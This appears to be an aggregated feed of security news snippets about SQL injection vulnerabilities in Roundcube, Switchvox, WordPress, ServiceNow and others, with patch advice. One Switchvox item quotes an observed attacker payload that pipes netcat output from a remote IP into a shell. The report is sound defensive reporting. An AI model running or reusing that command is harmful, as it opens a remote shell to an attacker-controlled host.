A critical vulnerability can easily outlive its official patch if system administrators fail to update their servers expeditiously. Precisely this perilous scenario is currently unfolding surrounding the widely deployed Roundcube Webmail platform. Malicious actors are now actively weaponizing a severe SQL injection vulnerability, granting them the terrifying ability to assault the email infrastructure prior to any user authentication. On September 21, the Canadian Centre for Cyber Security drastically escalated its previous May advisory concerning Roundcube.

Threat actors are exploiting a high-severity Roundcube flaw, tracked as CVE-2026-48842, which enables unauthenticated SQL injection through the virtuser_query plugin. Successful attacks can expose messages, address books, user identities, and other sensitive database content, prompting Roundcube to release fixes in versions 1.6.16 and 1.7.1. #Roundcube #CVE-2026-48842 #virtuser_query...

TL;DR On May 24, 2026, Roundcube developers released important security updates to fix a critical SQL injection flaw. Meanwhile, the Canadian Centre for Cyber Security confirmed this Roundcube Webmail vulnerability is currently being exploited in the wild. Consequently, administrators must update to versions 1.6.16 or 1.7.1 immediately to secure their email infrastructure. Why It Matters Millions of organizations rely on Roundcube for open-source webmail access.

A forum actor named seraphims is advertising an alleged Generation Tux customer dataset with more than 2.8 million records, claiming it was taken in an August 2026 breach via authentication-bypass SQL injection. The unverified listing says the data includes names, emails, phone numbers, password hashes, and address details, and is being...

TL;DR Cisco confirmed active attacks on a critical Cisco Secure Email Gateway vulnerability. Tracked as CVE-2026-76461, it scores a CVSS 9.8. An unauthenticated attacker can send a crafted email and run commands as root. Why this Cisco Secure Email Gateway vulnerability matters Email gateways sit at the edge of corporate networks. They inspect every inbound message. A root-level flaw there hands attackers deep control.

TL;DR A maximum-severity SQL injection flaw sits in the Android Contacts Provider. Tracked as CVE-2026-28576 with a CVSS score of 10, it lets a permission-less app read every contact. A public proof-of-concept exploit is available. Why this Android SQL injection matters Contacts hold names, phone numbers, emails, and private notes. This Android SQL injection exposes all of it. An app needs no permissions and no READ_CONTACTS grant.

A newly discovered cPanel SQL injection flaw exposes web hosting environments to total compromise. Threat actors can exploit this vulnerability to execute arbitrary code and take full control of the system. Currently, no active exploitation in the wild or public proof-of-concept exists for this bug. Why This Matters Industry estimates show cPanel powers millions of websites globally. Consequently, this cPanel SQL injection flaw puts vast amounts of data at risk.

 Sangoma Switchvox CVE-2026-9586 is a serious unauthenticated SQL injection flaw that can lead to remote code execution, and Horizon3 says it has already seen real-world exploitation attempts. The issue was patched in Switchvox 8.4.0.2, making rapid remediation important for exposed systems.  Horizon3’s research says Switchvox is an enterprise VoIP management platform used for voicemail, call forwarding, monitoring, and analytics. The vulnerability sits in an unauthenticated HTTP endpoint handled by PhoneAppsHandler.pm, where XML input is parsed and the PhoneIP field is inserted directly into a SQL query without validation.  That weak input handling can let an attacker inject SQL into the backend, and the blog describes how the query executes with PostgreSQL superuser privileges. Horizon3 notes that this design makes exploitation especially dangerous because the flaw can progress from a single request to code execution on the device.  The post also highlights indicators of compromise, including activity in /var/log/switchvox/db-quirks.log. In one observed case, attackers used a payload involving nc 176.65.148.184 39323 | sh, then followed up with commands to enumerate processes and exfiltrate results through a remote server.  The disclosure timeline shows Horizon3 reported the issue on 10 April 2026, Sangoma released the fix on 14 July 2026, and Defused Cyber honeypots recorded valid exploitation on 30 August 2026. Horizon3 also says Shodan showed roughly 4,000 internet-exposed Switchvox devices, which suggests a broad attack surface for organizations that have not patched yet.  Safety recommendations  Upgrade immediately to Switchvox 8.4.0.2 or a later supported release, since that version contains the fix for CVE-2026-9586. If patching cannot happen right away, restrict access to the Switchvox web interface and /pa endpoint with firewalls, VPNs, and network segmentation, and avoid direct internet exposure. Security teams should also review /var/log/switchvox/db-quirks.log, inspect outbound traffic for suspicious connections, and investigate any indicators tied to the observed attacker IP.

Second-order SQL injection flaw (CVE-2026-19949) in the All-in-One WP Migration and Backup plugin can be exploited for complete site compromise.

A forum actor posting as Alduin claims to have leaked data from amf.asso.fr, the Association des Maires de France, after a union-based SQL injection. The alleged breach includes town hall login addresses and plaintext passwords, along with official subscriber and account data, but the claim remains unverified. #Alduin #AssociationdesMairesdeFrance #amfasso.fr #SQLinjection...

For the enterprise telephone exchange Sangoma Switchvox, accepting a single specially crafted XML request suffices for a stranger on the internet to reach the server's command shell. This critical vulnerability is already being probed against live systems, and the attacks swiftly swept across several of the researchers' decoys at once. The flaw has been designated CVE-2026-9586 and affects Switchvox, a platform for managing enterprise VoIP telephony.

A high-severity flaw in the All-in-One WP Migration and Backup WordPress plugin, tracked as CVE-2026-19949, can let attackers trigger remote code execution by abusing a second-order SQL injection during archive restore operations. The issue affects versions up to 7.109, and with only 35% of installations updated to 7.110, about 3.2 million...

A high-severity SQL injection flaw in the All-in-One WP Migration and Backup plugin can let unauthenticated attackers achieve remote code execution and take over WordPress sites. The issue, tracked as CVE-2026-19949, affects versions through 7.109 and was fixed by ServMask in version 7.110 after disclosure by Wordfence and researcher Jack Taylor. #CVE-2026-19949 #All-in-OneWPMigrationandBackup #Wordfence #ServMask #JackTaylor

TL;DR Attackers are exploiting CVE-2026-9586 in the wild. This critical Sangoma Switchvox vulnerability turns an unauthenticated SQL injection into remote code execution. Horizon3 confirmed valid exploitation attempts and urges an immediate upgrade. Why It Matters Switchvox is an enterprise VoIP telephony platform used to manage phone systems. Therefore, a pre-auth flaw exposes voice infrastructure to full takeover. A successful attack runs code as the PostgreSQL superuser.

TL;DR ServiceNow disclosed four vulnerabilities on August 27, 2026. Three carry a maximum CVSS score of 10, including code injection and SQL injection flaws in the ServiceNow AI Platform. Each ServiceNow vulnerability could let an unauthenticated user run code or reach instance data. Why It Matters ServiceNow runs core workflows for thousands of large enterprises and governments. An unauthenticated remote flaw at CVSS 10 is about as serious as it gets.